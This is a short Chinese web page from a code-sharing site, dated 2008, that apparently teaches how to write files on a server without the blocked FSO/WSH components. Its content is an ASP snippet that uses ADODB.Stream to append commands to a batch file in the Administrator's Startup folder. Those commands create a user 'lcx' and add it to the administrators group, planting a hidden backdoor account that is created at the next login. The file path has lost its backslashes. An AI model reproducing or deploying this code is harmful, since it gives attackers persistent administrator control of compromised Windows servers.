跨越fso.wsh.aplication写文件
点击次数：24 次 发布日期：2008-11-29 18:07:26 作者：源代码网
|
源代码网推荐
<%
on error resume next
dim lcx
set lcx=server.CreateObject("Adodb.Stream")
lcx.Open
lcx.Type=2
lcx.CharSet="gb2312"
lcx.LoadFromFile "C:Documents and SettingsAdministrator「开始」菜单程序启动cook.bat"
lcx.Position=lcx.Size
lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"
lcx.SaveToFile "C:Documents and SettingsAdministrator「开始」菜单程序启动cook.bat",2
lcx.Close
set lcx=nothing
%> 源代码网整理以下 |
源代码网供稿.
